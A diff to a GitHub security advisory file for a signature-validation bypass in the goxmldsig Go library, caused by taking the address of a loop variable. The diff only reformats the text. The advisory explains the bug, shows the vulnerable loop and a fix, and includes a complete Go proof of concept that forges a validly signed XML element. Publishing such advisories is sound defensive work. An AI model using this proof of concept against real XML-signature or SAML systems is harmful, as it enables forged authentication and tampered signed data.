[GHSA-479m-364c-43vc] validateSignature Loop Variable Capture Signature Bypass in goxmldsig

advisories/github-reviewed/2026/03/GHSA-479m-364c-43vc/GHSA-479m-364c-43vc.json

@@ -5,7 +5,7 @@
   "published": "2026-03-18T20:18:22Z",
   "aliases": [],
   "summary": "validateSignature Loop Variable Capture Signature Bypass in goxmldsig",
-  "details": "### Details\n\nThe `validateSignature` function in `validate.go` goes through the references in the `SignedInfo` block to find one that matches the signed element's ID. In Go versions before 1.22, or when `go.mod` uses an older version, there is a loop variable capture issue. The code takes the address of the loop variable `_ref` instead of its value. As a result, if more than one reference matches the ID or if the loop logic is incorrect, the `ref` pointer will always end up pointing to the last element in the `SignedInfo.References` slice after the loop.\n\n------\n\n### Technical Details\n\nThe code takes the address of a loop iteration variable (&_ref). In the standard Go compiler, this variable is only allocated once for the whole loop, so its address stays the same, but its value changes with each iteration.\n\nAs a result, any pointer to this variable will always point to the value of the *last* element processed by the loop, no matter which element matched the search criteria.\n\nUsing Radare2, I found that the assembly at 0x1001c5908 (the start of the loop) loads the iteration values but does not create a new allocation (runtime.newobject) for the variable _ref inside the loop. The address &_ref stays the same during the loop (due to stack or heap slot reuse), which confirms the pointer aliasing issue.\n\n```````go\n// goxmldsig/validate.go (Lines 309-313)\t\nfor _, _ref := range signedInfo.References {\n\t\tif _ref.URI == \"\" || _ref.URI[1:] == idAttr {\n\t\t\tref = &_ref // <- Capture var address of loop\n\t\t}\n\t}\n\n```````\n\n-----\n\n### PoC\n\nThe PoC generates a signed document containing two elements and confirms that altering the first element to match the second produces a valid signature.\n\n``````go\npackage main\n\nimport (\n\t\"crypto/rand\"\n\t\"crypto/rsa\"\n\t\"crypto/tls\"\n\t\"crypto/x509\"\n\t\"encoding/base64\"\n\t\"fmt\"\n\t\"math/big\"\n\t\"time\"\n\n\t\"github.com/beevik/etree\"\n\tdsig \"github.com/russellhaering/goxmldsig\"\n)\n\nfunc main() {\n\tkey, err := rsa.GenerateKey(rand.Reader, 2048)\n\tif err != nil {\n\t\tpanic(err)\n\t}\n\n\ttemplate := &x509.Certificate{\n\t\tSerialNumber: big.NewInt(1),\n\t\tNotBefore:    time.Now().Add(-1 * time.Hour),\n\t\tNotAfter:     time.Now().Add(1 * time.Hour),\n\t}\n\n\tcertDER, err := x509.CreateCertificate(rand.Reader, template, template, &key.PublicKey, key)\n\tif err != nil {\n\t\tpanic(err)\n\t}\n\n\tcert, _ := x509.ParseCertificate(certDER)\n\n\tdoc := etree.NewDocument()\n\troot := doc.CreateElement(\"Root\")\n\troot.CreateAttr(\"ID\", \"target\")\n\troot.SetText(\"Malicious Content\")\n\n\ttlsCert := tls.Certificate{\n\t\tCertificate: [][]byte{cert.Raw},\n\t\tPrivateKey:  key,\n\t}\n\n\tks := dsig.TLSCertKeyStore(tlsCert)\n\tsigningCtx := dsig.NewDefaultSigningContext(ks)\n\n\tsig, err := signingCtx.ConstructSignature(root, true)\n\tif err != nil {\n\t\tpanic(err)\n\t}\n\n\tsignedInfo := sig.FindElement(\"./SignedInfo\")\n\n\texistingRef := signedInfo.FindElement(\"./Reference\")\n\texistingRef.CreateAttr(\"URI\", \"#dummy\")\n\n\toriginalEl := etree.NewElement(\"Root\")\n\toriginalEl.CreateAttr(\"ID\", \"target\")\n\toriginalEl.SetText(\"Original Content\")\n\n\tsig1, _ := signingCtx.ConstructSignature(originalEl, true)\n\tref1 := sig1.FindElement(\"./SignedInfo/Reference\").Copy()\n\n\tsignedInfo.InsertChildAt(existingRef.Index(), ref1)\n\n\tc14n := signingCtx.Canonicalizer\n\n\tdetachedSI := signedInfo.Copy()\n\tif detachedSI.SelectAttr(\"xmlns:\"+dsig.DefaultPrefix) == nil {\n\t\tdetachedSI.CreateAttr(\"xmlns:\"+dsig.DefaultPrefix, dsig.Namespace)\n\t}\n\n\tcanonicalBytes, err := c14n.Canonicalize(detachedSI)\n\tif err != nil {\n\t\tfmt.Println(\"c14n error:\", err)\n\t\treturn\n\t}\n\n\thash := signingCtx.Hash.New()\n\thash.Write(canonicalBytes)\n\tdigest := hash.Sum(nil)\n\n\trawSig, err := rsa.SignPKCS1v15(rand.Reader, key, signingCtx.Hash, digest)\n\tif err != nil {\n\t\tpanic(err)\n\t}\n\n\tsigVal := sig.FindElement(\"./SignatureValue\")\n\tsigVal.SetText(base64.StdEncoding.EncodeToString(rawSig))\n\n\tcertStore := &dsig.MemoryX509CertificateStore{\n\t\tRoots: []*x509.Certificate{cert},\n\t}\n\tvalCtx := dsig.NewDefaultValidationContext(certStore)\n\n\troot.AddChild(sig)\n\n\tdoc.SetRoot(root)\n\tstr, _ := doc.WriteToString()\n\tfmt.Println(\"XML:\")\n\tfmt.Println(str)\n\n\tvalidated, err := valCtx.Validate(root)\n\tif err != nil {\n\t\tfmt.Println(\"validation failed:\", err)\n\t} else {\n\t\tfmt.Println(\"validation ok\")\n\t\tfmt.Println(\"validated text:\", validated.Text())\n\t}\n}\n``````\n\n-----\n\n### Impact\n\nThis vulnerability lets an attacker get around integrity checks for certain signed elements by replacing their content with the content from another element that is also referenced in the same signature.\n\n------\n\n### Remediation\n\nUpdate the loop to capture the value correctly or use the index to reference the slice directly.\n\n``````go\n// goxmldsig/validate.go\t\nfunc (ctx *ValidationContext) validateSignature(el *etree.Element, sig *types.Signature) error {\n\tvar ref *types.Reference\n\n  // OLD\n\t// for _, _ref := range signedInfo.References {\n\t// \tif _ref.URI == \"\" || _ref.URI[1:] == idAttr {\n\t// \t\tref = &_ref\n\t// \t}\n\t// }\n\t\n  // FIX\n\tfor i := range signedInfo.References {\n\t\tif signedInfo.References[i].URI == \"\" ||\n\t\t\tsignedInfo.References[i].URI[1:] == idAttr {\n\t\t\tref = &signedInfo.References[i]\n\t\t\tbreak\n\t\t}\n\t}\n\n\t// ...\n}\n``````\n\n----\n\n### References\n\nhttps://cwe.mitre.org/data/definitions/347.html\n\nhttps://cwe.mitre.org/data/definitions/682.html\n\nhttps://github.com/russellhaering/goxmldsig/blob/main/validate.go\n\n-----\n\n**Author**: Tomas Illuminati",
+  "details": "### Details\n\nThe \"validateSignature\" function in \"validate.go\" goes through the references in the SignedInfo block to find one that matches the signed element's ID. In Go versions before 1.22, or when \"go.mod\" uses an older version, there is a loop variable capture issue. The code takes the address of the loop variable _ref instead of its value. As a result, if more than one reference matches the ID or if the loop logic is incorrect, the ref pointer will always end up pointing to the last element in the \"SignedInfo.References\" slice after the loop.\n\n------\n\n### Technical Details\n\nThe code takes the address of a loop iteration variable (&_ref). In the standard Go compiler, this variable is only allocated once for the whole loop, so its address stays the same, but its value changes with each iteration.\n\nAs a result, any pointer to this variable will always point to the value of the *last* element processed by the loop, no matter which element matched the search criteria.\n\nUsing Radare2, I found that the assembly at 0x1001c5908 (the start of the loop) loads the iteration values but does not create a new allocation (runtime.newobject) for the variable _ref inside the loop. The address &_ref stays the same during the loop (due to stack or heap slot reuse), which confirms the pointer aliasing issue.\n\n```````go\n// goxmldsig/validate.go (Lines 309-313)\t\nfor _, _ref := range signedInfo.References {\n\t\tif _ref.URI == \"\" || _ref.URI[1:] == idAttr {\n\t\t\tref = &_ref // <- Capture var address of loop\n\t\t}\n\t}\n\n```````\n\n-----\n\n### PoC\n\nThe PoC generates a signed document containing two elements and confirms that altering the first element to match the second produces a valid signature.\n\n``````go\npackage main\n\nimport (\n\t\"crypto/rand\"\n\t\"crypto/rsa\"\n\t\"crypto/tls\"\n\t\"crypto/x509\"\n\t\"encoding/base64\"\n\t\"fmt\"\n\t\"math/big\"\n\t\"time\"\n\n\t\"github.com/beevik/etree\"\n\tdsig \"github.com/russellhaering/goxmldsig\"\n)\n\nfunc main() {\n\tkey, err := rsa.GenerateKey(rand.Reader, 2048)\n\tif err != nil {\n\t\tpanic(err)\n\t}\n\n\ttemplate := &x509.Certificate{\n\t\tSerialNumber: big.NewInt(1),\n\t\tNotBefore:    time.Now().Add(-1 * time.Hour),\n\t\tNotAfter:     time.Now().Add(1 * time.Hour),\n\t}\n\n\tcertDER, err := x509.CreateCertificate(rand.Reader, template, template, &key.PublicKey, key)\n\tif err != nil {\n\t\tpanic(err)\n\t}\n\n\tcert, _ := x509.ParseCertificate(certDER)\n\n\tdoc := etree.NewDocument()\n\troot := doc.CreateElement(\"Root\")\n\troot.CreateAttr(\"ID\", \"target\")\n\troot.SetText(\"Malicious Content\")\n\n\ttlsCert := tls.Certificate{\n\t\tCertificate: [][]byte{cert.Raw},\n\t\tPrivateKey:  key,\n\t}\n\n\tks := dsig.TLSCertKeyStore(tlsCert)\n\tsigningCtx := dsig.NewDefaultSigningContext(ks)\n\n\tsig, err := signingCtx.ConstructSignature(root, true)\n\tif err != nil {\n\t\tpanic(err)\n\t}\n\n\tsignedInfo := sig.FindElement(\"./SignedInfo\")\n\n\texistingRef := signedInfo.FindElement(\"./Reference\")\n\texistingRef.CreateAttr(\"URI\", \"#dummy\")\n\n\toriginalEl := etree.NewElement(\"Root\")\n\toriginalEl.CreateAttr(\"ID\", \"target\")\n\toriginalEl.SetText(\"Original Content\")\n\n\tsig1, _ := signingCtx.ConstructSignature(originalEl, true)\n\tref1 := sig1.FindElement(\"./SignedInfo/Reference\").Copy()\n\n\tsignedInfo.InsertChildAt(existingRef.Index(), ref1)\n\n\tc14n := signingCtx.Canonicalizer\n\n\tdetachedSI := signedInfo.Copy()\n\tif detachedSI.SelectAttr(\"xmlns:\"+dsig.DefaultPrefix) == nil {\n\t\tdetachedSI.CreateAttr(\"xmlns:\"+dsig.DefaultPrefix, dsig.Namespace)\n\t}\n\n\tcanonicalBytes, err := c14n.Canonicalize(detachedSI)\n\tif err != nil {\n\t\tfmt.Println(\"c14n error:\", err)\n\t\treturn\n\t}\n\n\thash := signingCtx.Hash.New()\n\thash.Write(canonicalBytes)\n\tdigest := hash.Sum(nil)\n\n\trawSig, err := rsa.SignPKCS1v15(rand.Reader, key, signingCtx.Hash, digest)\n\tif err != nil {\n\t\tpanic(err)\n\t}\n\n\tsigVal := sig.FindElement(\"./SignatureValue\")\n\tsigVal.SetText(base64.StdEncoding.EncodeToString(rawSig))\n\n\tcertStore := &dsig.MemoryX509CertificateStore{\n\t\tRoots: []*x509.Certificate{cert},\n\t}\n\tvalCtx := dsig.NewDefaultValidationContext(certStore)\n\n\troot.AddChild(sig)\n\n\tdoc.SetRoot(root)\n\tstr, _ := doc.WriteToString()\n\tfmt.Println(\"XML:\")\n\tfmt.Println(str)\n\n\tvalidated, err := valCtx.Validate(root)\n\tif err != nil {\n\t\tfmt.Println(\"validation failed:\", err)\n\t} else {\n\t\tfmt.Println(\"validation ok\")\n\t\tfmt.Println(\"validated text:\", validated.Text())\n\t}\n}\n``````\n\n-----\n\n### Impact\n\nThis vulnerability lets an attacker get around integrity checks for certain signed elements by replacing their content with the content from another element that is also referenced in the same signature.\n\n------\n\n### Remediation\n\nUpdate the loop to capture the value correctly or use the index to reference the slice directly.\n\n``````go\n// goxmldsig/validate.go\t\nfunc (ctx *ValidationContext) validateSignature(el *etree.Element, sig *types.Signature) error {\n\tvar ref *types.Reference\n\n  // OLD\n\t// for _, _ref := range signedInfo.References {\n\t// \tif _ref.URI == \"\" || _ref.URI[1:] == idAttr {\n\t// \t\tref = &_ref\n\t// \t}\n\t// }\n\t\n  // FIX\n\tfor i := range signedInfo.References {\n\t\tif signedInfo.References[i].URI == \"\" ||\n\t\t\tsignedInfo.References[i].URI[1:] == idAttr {\n\t\t\tref = &signedInfo.References[i]\n\t\t\tbreak\n\t\t}\n\t}\n\n\t// ...\n}\n``````\n\n----\n\n### References\n\nhttps://cwe.mitre.org/data/definitions/347.html\n\nhttps://cwe.mitre.org/data/definitions/682.html\n\nhttps://github.com/russellhaering/goxmldsig/blob/main/validate.go\n\n-----\n\n**Author**: Tomas Illuminati",
   "severity": [
     {
       "type": "CVSS_V3",